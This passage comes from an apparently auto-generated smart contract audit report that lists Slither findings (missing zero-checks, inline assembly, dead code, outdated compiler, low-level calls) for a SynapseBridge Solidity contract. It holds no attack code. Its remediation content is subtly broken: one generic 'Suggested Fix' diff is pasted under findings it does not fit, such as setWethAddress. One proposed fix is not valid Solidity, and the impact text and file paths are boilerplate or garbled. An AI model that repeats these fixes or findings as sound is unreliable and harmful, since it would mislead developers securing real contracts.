2279 |      * @param kappa kappa
2280 |      **/
>> 2281 |      function mintAndSwap(
2282 |          address payable to,
2283 |          IERC20Mintable token,
2284 |          uint256 amount,
2285 |          uint256 fee,
2286 |          ISwap pool,
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

Suggested Fix

```
- to.call.value(chainGasAmount)();
+ require(to.call.value(chainGasAmount()), 'Transfer failed');
```

Remediation Effort: Low **Estimated Fix Time:** 30 min

References

- SWC-104
- OWASP Smart Contract Top 10

F-003. missing-zero-check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	48%
Location	../..../audit_workspace/SynapseBridge.flat.sol:2143 (to)
Status	Open (48% conf.)
Detected By	slither

Description

SynapseBridge.withdraw(address,IERC20,uint256,uint256,bytes32).to lacks a zero-check on : - (success,None) = to.call{value: amount.sub(fee)}{}

Vulnerable Code

```
2138 | * @param amount Amount in native token decimals to withdraw
2139 | * @param fee Amount in native token decimals to save to the contract as
fees
2140 | * @param kappa kappa
2141 | **/
2142 | function withdraw(
```

```

>> 2143 |         address to,
      2144 |         IERC20 token,
      2145 |         uint256 amount,
      2146 |         uint256 fee,
      2147 |         bytes32 kappa
      2148 |     ) external nonReentrant whenNotPaused {

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

Suggested Fix

```

- success = to.call{value: amount.sub(fee)}();
+ require(to != address(0), "Invalid recipient address");
+ require(amount.sub(fee) > 0, "Amount after fee is zero");
+ (bool success, ) = to.call{value: amount.sub(fee)}();

```

Remediation Effort: Low **Estimated Fix Time:** 30 min

References

- OWASP Smart Contract Top 10

F-004. missing-zero-check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	48%
Location	../../../../audit_workspace/SynapseBridge.flat.sol:1993 (_wethAddress)
Status	Open (48% conf.)
Detected By	slither

Description

SynapseBridge.setWethAddress(address)._wethAddress lacks a zero-check on : - WETH_ADDRESS = _wethAddress

Vulnerable Code

```

1988 |     function setChainGasAmount(uint256 amount) external {
1989 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
1990 |         chainGasAmount = amount;
1991 |     }
1992 |
>> 1993 |     function setWethAddress(address payable _wethAddress) external {
1994 |         require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Not admin");
1995 |         WETH_ADDRESS = _wethAddress;
1996 |     }
1997 |
1998 |     function addKappas(bytes32[] calldata kappas) external {

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

Suggested Fix

```

- success = to.call{value: amount.sub(fee)}();
+ require(to != address(0), "Invalid recipient address");
+ require(amount.sub(fee) > 0, "Amount after fee is zero");
+ (bool success, ) = to.call{value: amount.sub(fee)}();

```

Remediation Effort: Low **Estimated Fix Time:** 30 min

References

- OWASP Smart Contract Top 10

F-005. missing-zero-check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	48%
Location	../../audit_workspace/SynapseBridge.flat.sol:2175 (to)
Status	Open (48% conf.)
Detected By	slither

Description

SynapseBridge.mint(address,IERC20Mintable,uint256,uint256,bytes32).to lacks a zero-check on : - to.call.value(chainGasAmount)()

Vulnerable Code

```

2170 |      * @param amount Amount in native token decimals to transfer cross-chain
post-fees
2171 |      * @param fee Amount in native token decimals to save to the contract as
fees
2172 |      * @param kappa kappa
2173 |      **/
2174 |      function mint(
>> 2175 |          address payable to,
2176 |          IERC20Mintable token,
2177 |          uint256 amount,
2178 |          uint256 fee,
2179 |          bytes32 kappa
2180 |      ) external nonReentrant whenNotPaused {

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

Suggested Fix

```

- success = to.call{value: amount.sub(fee)}();
+ require(to != address(0), "Invalid recipient address");
+ require(amount.sub(fee) > 0, "Amount after fee is zero");
+ (bool success, ) = to.call{value: amount.sub(fee)}();

```

Remediation Effort: Low **Estimated Fix Time:** 30 min

References

- OWASP Smart Contract Top 10

F-006. missing-zero-check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	48%

PROPERTY	VALUE
Location	../../../../audit_workspace/SynapseBridge.flat.sol:2282 (to)
Status	Open (48% conf.)
Detected By	slither

Description

SynapseBridge.mintAndSwap(address,IERC20Mintable,uint256,uint256,ISwap,uint8,uint8,uint256,uint256) lacks a zero-check on : - to.call.value(chainGasAmount)() - (success,None) = to.call{value: finalSwappedAmount}()

Vulnerable Code

```

2277 |      * @param minDy Minumum amount (in final asset decimals) that must be
swapped for, otherwise the user will receive the SynERC20.
2278 |      * @param deadline Epoch time of the deadline that the swap is allowed to
be executed.
2279 |      * @param kappa kappa
2280 |      **/
2281 |      function mintAndSwap(
>> 2282 |          address payable to,
2283 |          IERC20Mintable token,
2284 |          uint256 amount,
2285 |          uint256 fee,
2286 |          ISwap pool,
2287 |          uint8 tokenIndexFrom,

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

Suggested Fix

```

- success = to.call{value: amount.sub(fee)}();
+ require(to != address(0), "Invalid recipient address");
+ require(amount.sub(fee) > 0, "Amount after fee is zero");
+ (bool success, ) = to.call{value: amount.sub(fee)}();

```

Remediation Effort: Low **Estimated Fix Time:** 30 min

References

- OWASP Smart Contract Top 10

F-007. assembly

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	34%
Location	../../audit_workspace/SynapseBridge.flat.sol:172 (_verifyCallResult)
Status	Open (34% conf.)
Detected By	slither

Description

Address._verifyCallResult(bool,bytes,string) uses assembly - INLINE ASM

Vulnerable Code

```

167 |          // solhint-disable-next-line avoid-low-level-calls
168 |          (bool success, bytes memory returndata) = target.delegatecall(data);
169 |          return _verifyCallResult(success, returndata, errorMessage);
170 |      }
171 |
>> 172 |      function _verifyCallResult(bool success, bytes memory returndata, string
memory errorMessage) private pure returns(bytes memory) {
173 |          if (success) {
174 |              return returndata;
175 |          } else {
176 |              // Look for revert reason and bubble it up if present
177 |              if (returndata.length > 0) {

```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- SWC-127
- OWASP Smart Contract Top 10

F-008. assembly

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	34%
Location	../../audit_workspace/SynapseBridge.flat.sol:336 (_verifyCallResult)
Status	Open (34% conf.)
Detected By	slither

Description

AddressUpgradeable._verifyCallResult(bool,bytes,string) uses assembly - INLINE ASM

Vulnerable Code

```

331 |          // solhint-disable-next-line avoid-low-level-calls
332 |          (bool success, bytes memory returndata) = target.staticcall(data);
333 |          return _verifyCallResult(success, returndata, errorMessage);
334 |      }
335 |
>> 336 |      function _verifyCallResult(bool success, bytes memory returndata, string
memory errorMessage) private pure returns(bytes memory) {
337 |          if (success) {
338 |              return returndata;
339 |          } else {
340 |              // Look for revert reason and bubble it up if present
341 |              if (returndata.length > 0) {

```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- SWC-127
- OWASP Smart Contract Top 10

F-009. assembly

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	34%
Location	../..../audit_workspace/SynapseBridge.flat.sol:215 (isContract)
Status	Open (34% conf.)
Detected By	slither

Description

AddressUpgradeable.isContract(address) uses assembly - INLINE ASM

Vulnerable Code

```

210 |      * - a contract in construction
211 |      * - an address where a contract will be created
212 |      * - an address where a contract lived, but was destroyed
213 |      * ====
214 |      */
>> 215 |      function isContract(address account) internal view returns (bool) {
216 |          // This method relies on extcodesize, which returns 0 for contracts in
217 |          // construction, since the code is only stored at the end of the
218 |          // constructor execution.
219 |
220 |          uint256 size;
```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- SWC-127
- OWASP Smart Contract Top 10

F-010. assembly

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	34%
Location	../..../audit_workspace/SynapseBridge.flat.sol:27 (isContract)
Status	Open (34% conf.)
Detected By	slither

Description

Address.isContract(address) uses assembly - INLINE ASM

Vulnerable Code

```

22 |      * - a contract in construction
23 |      * - an address where a contract will be created
24 |      * - an address where a contract lived, but was destroyed
25 |      * ====
26 |      */
>> 27 |      function isContract(address account) internal view returns (bool) {
28 |          // This method relies on extcodesize, which returns 0 for contracts in
29 |          // construction, since the code is only stored at the end of the
30 |          // constructor execution.
31 |
32 |          uint256 size;
```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- SWC-127
- OWASP Smart Contract Top 10

F-011. dead-code

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	28%
Location	../../audit_workspace/SynapseBridge.flat.sol:1071 (_msgData)
Status	Open (28% conf.)
Detected By	slither

Description

ContextUpgradeable._msgData() is never used and should be removed

Vulnerable Code

```

1066 |     }
1067 |     function _msgSender() internal view virtual returns (address payable) {
1068 |         return msg.sender;
1069 |     }
1070 |
>> 1071 |     function _msgData() internal view virtual returns (bytes memory) {
1072 |         this; // silence state mutability warning without generating bytecode
- see https://github.com/ethereum/solidity/issues/2691
1073 |         return msg.data;
1074 |     }
1075 |     uint256[50] private __gap;
1076 | }
```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-012. dead-code

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	28%
Location	../.. /audit_workspace/SynapseBridge.flat.sol:1472 (__Pausable_init)
Status	Open (28% conf.)
Detected By	slither

Description

PausableUpgradeable.__Pausable_init() is never used and should be removed

Vulnerable Code

```

1467 |     bool private _paused;
1468 |
1469 |     /**
1470 |      * @dev Initializes the contract in unpaused state.
1471 |      */
>> 1472 |     function __Pausable_init() internal initializer {
1473 |         __Context_init_unchained();
1474 |         __Pausable_init_unchained();
1475 |     }
1476 |
1477 |     function __Pausable_init_unchained() internal initializer {

```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-013. dead-code

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	28%
Location	<pre>../../audit_workspace/SynapseBridge.flat.sol:1113 (__ReentrancyGuard_init)</pre>
Status	Open (28% conf.)
Detected By	slither

Description

ReentrancyGuardUpgradeable.__ReentrancyGuard_init() is never used and should be removed

Vulnerable Code

```

1108 |     uint256 private constant _NOT_ENTERED = 1;
1109 |     uint256 private constant _ENTERED = 2;
1110 |
1111 |     uint256 private _status;
1112 |
>> 1113 |     function __ReentrancyGuard_init() internal initializer {
1114 |         __ReentrancyGuard_init_unchained();
1115 |     }
1116 |
1117 |     function __ReentrancyGuard_init_unchained() internal initializer {
1118 |         _status = _NOT_ENTERED;

```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-014. dead-code

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	28%
Location	../../../../audit_workspace/SynapseBridge.flat.sol:1809 (_setRoleAdmin)
Status	Open (28% conf.)
Detected By	slither

Description

AccessControlUpgradeable._setRoleAdmin(bytes32,bytes32) is never used and should be removed

Vulnerable Code

```

1804 |  /**
1805 |      * @dev Sets `adminRole` as ``role``'s admin role.
1806 |      *
1807 |      * Emits a {RoleAdminChanged} event.
1808 |      */
>> 1809 |  function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
1810 |      emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
1811 |      _roles[role].adminRole = adminRole;
1812 |  }
1813 |
1814 |  function _grantRole(bytes32 role, address account) private {

```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-015. dead-code

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	28%
Location	../.. /audit_workspace/SynapseBridge.flat.sol:1424 (_setupDecimals)
Status	Open (28% conf.)
Detected By	slither

Description

ERC20._setupDecimals(uint8) is never used and should be removed

Vulnerable Code

```
1419 | *
1420 | * WARNING: This function should only be called from the constructor. Most
1421 | * applications that interact with token contracts will not expect
1422 | * {decimals} to ever change, and may work incorrectly if it does.
1423 | */
>> 1424 | function _setupDecimals(uint8 decimals_) internal virtual {
1425 |     _decimals = decimals_;
1426 | }
1427 |
1428 | /**
1429 | * @dev Hook that is called before any transfer of tokens. This includes
```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-016. dead-code

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	28%
Location	../../audit_workspace/SynapseBridge.flat.sol:373 (_msgData)
Status	Open (28% conf.)
Detected By	slither

Description

Context._msgData() is never used and should be removed

Vulnerable Code

```

368 | abstract contract Context {
369 |     function _msgSender() internal view virtual returns (address payable) {
370 |         return msg.sender;
371 |     }
372 |
>> 373 |     function _msgData() internal view virtual returns (bytes memory) {
374 |         this; // silence state mutability warning without generating bytecode
- see https://github.com/ethereum/solidity/issues/2691
375 |         return msg.data;
376 |     }
377 | }
378 |

```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-017. dead-code

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	28%
Location	../../../../audit_workspace/SynapseBridge.flat.sol:1117 (__ReentrancyGuard_init_unchained)
Status	Open (28% conf.)
Detected By	slither

Description

ReentrancyGuardUpgradeable.__ReentrancyGuard_init_unchained() is never used and should be removed

Vulnerable Code

```

1112 |
1113 |     function __ReentrancyGuard_init() internal initializer {
1114 |         __ReentrancyGuard_init_unchained();
1115 |     }
1116 |
>> 1117 |     function __ReentrancyGuard_init_unchained() internal initializer {
1118 |         _status = _NOT_ENTERED;
1119 |     }
1120 |
1121 |     /**
1122 |      * @dev Prevents a contract from calling itself, directly or indirectly.
```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-018. dead-code

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	28%
Location	../../../../audit_workspace/SynapseBridge.flat.sol:1365 (_mint)
Status	Open (28% conf.)
Detected By	slither

Description

ERC20._mint(address,uint256) is never used and should be removed

Vulnerable Code

```

1360 |      *
1361 |      * Requirements:
1362 |      *
1363 |      * - `to` cannot be the zero address.
1364 |      */
>> 1365 |      function _mint(address account, uint256 amount) internal virtual {
1366 |          require(account != address(0), "ERC20: mint to the zero address");
1367 |
1368 |          _beforeTokenTransfer(address(0), account, amount);
1369 |
1370 |          _totalSupply = _totalSupply.add(amount);

```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-019. dead-code

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	28%
Location	../..//audit_workspace/SynapseBridge.flat.sol:1477 (__Pausable_init_unchained)
Status	Open (28% conf.)
Detected By	slither

Description

PausableUpgradeable.__Pausable_init_unchained() is never used and should be removed

Vulnerable Code

```

1472 |     function __Pausable_init() internal initializer {
1473 |         __Context_init_unchained();
1474 |         __Pausable_init_unchained();
1475 |     }
1476 |
>> 1477 |     function __Pausable_init_unchained() internal initializer {
1478 |         _paused = false;
1479 |     }
1480 |
1481 |     /**
1482 |      * @dev Returns true if the contract is paused, and false otherwise.
```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-020. dead-code

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	28%
Location	../../audit_workspace/SynapseBridge.flat.sol:1061 (__Context_init)
Status	Open (28% conf.)
Detected By	slither

Description

ContextUpgradeable.__Context_init() is never used and should be removed

Vulnerable Code

```

1056 | * is concerned).
1057 | *
1058 | * This contract is only required for intermediate, library-like contracts.
1059 | */
1060 | abstract contract ContextUpgradeable is Initializable {
>> 1061 |     function __Context_init() internal initializer {
1062 |         __Context_init_unchained();
1063 |     }
1064 |
1065 |     function __Context_init_unchained() internal initializer {
1066 |     }

```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-021. solc-version

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	2.1
Confidence	28%
Location	<pre>../../../../audit_workspace/SynapseBridge.flat.sol:2 (<0.8.0=0.6.12>=0.4.0>=0.4.24>=0.6.0>=0.6.2)</pre>
Status	Open (28% conf.)
Detected By	slither

Description

Version constraint `<0.8.0=0.6.12>=0.4.0>=0.4.24>=0.6.0>=0.6.2` is too complex. It is used by: - `<0.8.0=0.6.12>=0.4.0>=0.4.24>=0.6.0>=0.6.2`

Vulnerable Code

```
>> 1 | // SPDX-License-Identifier: MIT
    2 | pragma solidity <0.8.0 =0.6.12 >=0.4.0 >=0.4.24 >=0.6.0 >=0.6.2;
    3 |
    4 | // node_modules/@openzeppelin/contracts/utils/Address.sol
    5 |
    6 | /**
    7 |  * @dev Collection of functions related to the address type
```

Impact Analysis

Impact assessment pending.

Recommendation

Update to a recent stable Solidity version (0.8.20+) for the latest security fixes, gas optimizations, and language features.

References

- OWASP Smart Contract Top 10

F-022. solc-version

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	2.1
Confidence	28%
Location	unknown:0 (unknown)
Status	Open (28% conf.)
Detected By	slither

Description

solc-0.6.12 is an outdated solc version. Use a more recent version (at least 0.8.0), if possible.

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Impact assessment pending.

Recommendation

Update to a recent stable Solidity version (0.8.20+) for the latest security fixes, gas optimizations, and language features.

References

- OWASP Smart Contract Top 10

F-023. low-level-calls

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	34%

PROPERTY	VALUE
Location	../..../audit_workspace/SynapseBridge.flat.sol:2281 (mintAndSwap)
Status	Open (34% conf.)
Detected By	slither

Description

Low level call in
 SynapseBridge.mintAndSwap(address,IERC20Mintable,uint256,uint256,ISwap,uint8,uint8,uint256,uint256)
 - to.call.value(chainGasAmount)() - (success,None) = to.call{value: finalSwappedAmount}()

Vulnerable Code

```

2276 |      * @param tokenIndexTo Index of the desired final asset
2277 |      * @param minDy Minumum amount (in final asset decimals) that must be
swapped for, otherwise the user will receive the SynERC20.
2278 |      * @param deadline Epoch time of the deadline that the swap is allowed to
be executed.
2279 |      * @param kappa kappa
2280 |      **/
>> 2281 |      function mintAndSwap(
2282 |          address payable to,
2283 |          IERC20Mintable token,
2284 |          uint256 amount,
2285 |          uint256 fee,
2286 |          ISwap pool,
```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-024. low-level-calls

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1

PROPERTY	VALUE
Confidence	34%
Location	<code>../../audit_workspace/SynapseBridge.flat.sol:164</code> <code>(functionDelegateCall)</code>
Status	Open (34% conf.)
Detected By	slither

Description

Low level call in `Address.functionDelegateCall(address,bytes,string):` -
`(success, returndata) = target.delegatecall(data)`

Vulnerable Code

```

159 |      * @dev Same as {xref-Address-functionCall-address-bytes-string-}
[`functionCall`],
160 |      * but performing a delegate call.
161 |      *
162 |      * _Available since v3.4._
163 |      */
>> 164 |      function functionDelegateCall(address target, bytes memory data, string
memory errorMessage) internal returns (bytes memory) {
165 |          require(isContract(target), "Address: delegate call to non-contract");
166 |
167 |          // solhint-disable-next-line avoid-low-level-calls
168 |          (bool success, bytes memory returndata) = target.delegatecall(data);
169 |          return _verifyCallResult(success, returndata, errorMessage);

```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-025. low-level-calls

PROPERTY	VALUE
Severity	INFO
Category	

PROPERTY	VALUE
CVSS Score	3.1
Confidence	34%
Location	../..../audit_workspace/SynapseBridge.flat.sol:54 (sendValue)
Status	Open (34% conf.)
Detected By	slither

Description

Low level call in Address.sendValue(address,uint256): - (success,None) = recipient.call{value: amount}()

Vulnerable Code

```

49 |      * IMPORTANT: because control is transferred to `recipient`, care must be
50 |      * taken to not create reentrancy vulnerabilities. Consider using
51 |      * {ReentrancyGuard} or the
52 |      * https://solidity.readthedocs.io/en/v0.5.11/security-
considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-
interactions pattern].
53 |      */
>> 54 |      function sendValue(address payable recipient, uint256 amount) internal {
55 |          require(address(this).balance >= amount, "Address: insufficient
balance");
56 |
57 |          // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
58 |          (bool success, ) = recipient.call{ value: amount }("");
59 |          require(success, "Address: unable to send value, recipient may have
reverted");

```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-026. low-level-calls

PROPERTY	VALUE
Severity	INFO

PROPERTY	VALUE
Category	
CVSS Score	3.1
Confidence	34%
Location	<pre> ../.. /audit_workspace/SynapseBridge.flat.sol:115 (functionCallWithValue) </pre>
Status	Open (34% conf.)
Detected By	slither

Description

Low level call in Address.functionCallWithValue(address,bytes,uint256,string): - (success, returndata) = target.call{value: value}(data)

Vulnerable Code

```

110 |      * @dev Same as {xref-Address-functionCallWithValue-address-bytes-
uint256-}[`functionCallWithValue`], but
111 |      * with `errorMessage` as a fallback revert reason when `target` reverts.
112 |      *
113 |      * _Available since v3.1._
114 |      */
>> 115 |      function functionCallWithValue(address target, bytes memory data, uint256
value, string memory errorMessage) internal returns (bytes memory) {
116 |          require(address(this).balance >= value, "Address: insufficient balance
for call");
117 |          require(isContract(target), "Address: call to non-contract");
118 |
119 |          // solhint-disable-next-line avoid-low-level-calls
120 |          (bool success, bytes memory returndata) = target.call{ value: value }
(data);

```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-027. low-level-calls

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	34%
Location	../..../audit_workspace/SynapseBridge.flat.sol:242 (sendValue)
Status	Open (34% conf.)
Detected By	slither

Description

Low level call in AddressUpgradeable.sendValue(address,uint256): - (success,None) = recipient.call{value: amount}()

Vulnerable Code

```

237 |      * IMPORTANT: because control is transferred to `recipient`, care must be
238 |      * taken to not create reentrancy vulnerabilities. Consider using
239 |      * {ReentrancyGuard} or the
240 |      * https://solidity.readthedocs.io/en/v0.5.11/security-
considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-
interactions pattern].
241 |      */
>> 242 |      function sendValue(address payable recipient, uint256 amount) internal {
243 |          require(address(this).balance >= amount, "Address: insufficient
balance");
244 |
245 |          // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
246 |          (bool success, ) = recipient.call{ value: amount }("");
247 |          require(success, "Address: unable to send value, recipient may have
reverted");

```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-028. low-level-calls

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	34%
Location	../.. / audit_workspace / SynapseBridge.flat.sol:303 (functionCallWithValue)
Status	Open (34% conf.)
Detected By	slither

Description

Low level call in AddressUpgradeable.functionCallWithValue(address,bytes,uint256,string): -
(success, returndata) = target.call{value: value}(data)

Vulnerable Code

```

298 |      * @dev Same as {xref-Address-functionCallWithValue-address-bytes-
uint256-}[`functionCallWithValue`], but
299 |      * with `errorMessage` as a fallback revert reason when `target` reverts.
300 |      *
301 |      * _Available since v3.1._
302 |      */
>> 303 |      function functionCallWithValue(address target, bytes memory data, uint256
value, string memory errorMessage) internal returns (bytes memory) {
304 |          require(address(this).balance >= value, "Address: insufficient balance
for call");
305 |          require(isContract(target), "Address: call to non-contract");
306 |
307 |          // solhint-disable-next-line avoid-low-level-calls
308 |          (bool success, bytes memory returndata) = target.call{ value: value }
(data);

```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-029. low-level-calls

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	34%
Location	../..../audit_workspace/SynapseBridge.flat.sol:140 (functionStaticCall)
Status	Open (34% conf.)
Detected By	slither

Description

Low level call in Address.functionStaticCall(address,bytes,string): - (success,returndata) = target.staticcall(data)

Vulnerable Code

```

135 |      * @dev Same as {xref-Address-functionCall-address-bytes-string-}
[`functionCall`],
136 |      * but performing a static call.
137 |      *
138 |      * _Available since v3.3._
139 |      */
>> 140 |      function functionStaticCall(address target, bytes memory data, string
memory errorMessage) internal view returns (bytes memory) {
141 |          require(isContract(target), "Address: static call to non-contract");
142 |
143 |          // solhint-disable-next-line avoid-low-level-calls
144 |          (bool success, bytes memory returndata) = target.staticcall(data);
145 |          return _verifyCallResult(success, returndata, errorMessage);

```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-030. low-level-calls

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	34%
Location	../../../../audit_workspace/SynapseBridge.flat.sol:2142 (withdraw)
Status	Open (34% conf.)
Detected By	slither

Description

Low level call in SynapseBridge.withdraw(address,IERC20,uint256,uint256,bytes32): - (success,None) = to.call{value: amount.sub(fee)}()

Vulnerable Code

```

2137 |      * @param token ERC20 compatible token to withdraw from the bridge
2138 |      * @param amount Amount in native token decimals to withdraw
2139 |      * @param fee Amount in native token decimals to save to the contract as
fees
2140 |      * @param kappa kappa
2141 |      **/
>> 2142 |      function withdraw(
2143 |          address to,
2144 |          IERC20 token,
2145 |          uint256 amount,
2146 |          uint256 fee,
2147 |          bytes32 kappa

```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-031. low-level-calls

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	34%
Location	../.. / audit_workspace / SynapseBridge.flat.sol:2174 (mint)
Status	Open (34% conf.)
Detected By	slither

Description

Low level call in
 SynapseBridge.mint(address,IERC20Mintable,uint256,uint256,bytes32):
 to.call.value(chainGasAmount()) -

Vulnerable Code

```

2169 | * @param token ERC20 compatible token to deposit into the bridge
2170 | * @param amount Amount in native token decimals to transfer cross-chain
post-fees
2171 | * @param fee Amount in native token decimals to save to the contract as
fees
2172 | * @param kappa kappa
2173 | **/
>> 2174 | function mint(
2175 |     address payable to,
2176 |     IERC20Mintable token,
2177 |     uint256 amount,
2178 |     uint256 fee,
2179 |     bytes32 kappa

```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-032. low-level-calls

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	34%
Location	../../audit_workspace/SynapseBridge.flat.sol:328 (functionStaticCall)
Status	Open (34% conf.)
Detected By	slither

Description

Low level call in AddressUpgradeable.functionStaticCall(address,bytes,string): - (success, returndata) = target.staticcall(data)

Vulnerable Code

```

323 |      * @dev Same as {xref-Address-functionCall-address-bytes-string-}
[ `functionCall` ],
324 |      * but performing a static call.
325 |      *
326 |      * _Available since v3.3._
327 |      */
>> 328 |      function functionStaticCall(address target, bytes memory data, string
memory errorMessage) internal view returns (bytes memory) {
329 |          require(isContract(target), "Address: static call to non-contract");
330 |
331 |          // solhint-disable-next-line avoid-low-level-calls
332 |          (bool success, bytes memory returndata) = target.staticcall(data);
333 |          return _verifyCallResult(success, returndata, errorMessage);

```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-033. naming-convention

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	28%
Location	../../../../audit_workspace/SynapseBridge.flat.sol:1993 (_wethAddress)
Status	Open (28% conf.)
Detected By	slither

Description

Parameter SynapseBridge.setWethAddress(address)._wethAddress is not in mixedCase

Vulnerable Code

```

1988 |     function setChainGasAmount(uint256 amount) external {
1989 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
1990 |         chainGasAmount = amount;
1991 |     }
1992 |
>> 1993 |     function setWethAddress(address payable _wethAddress) external {
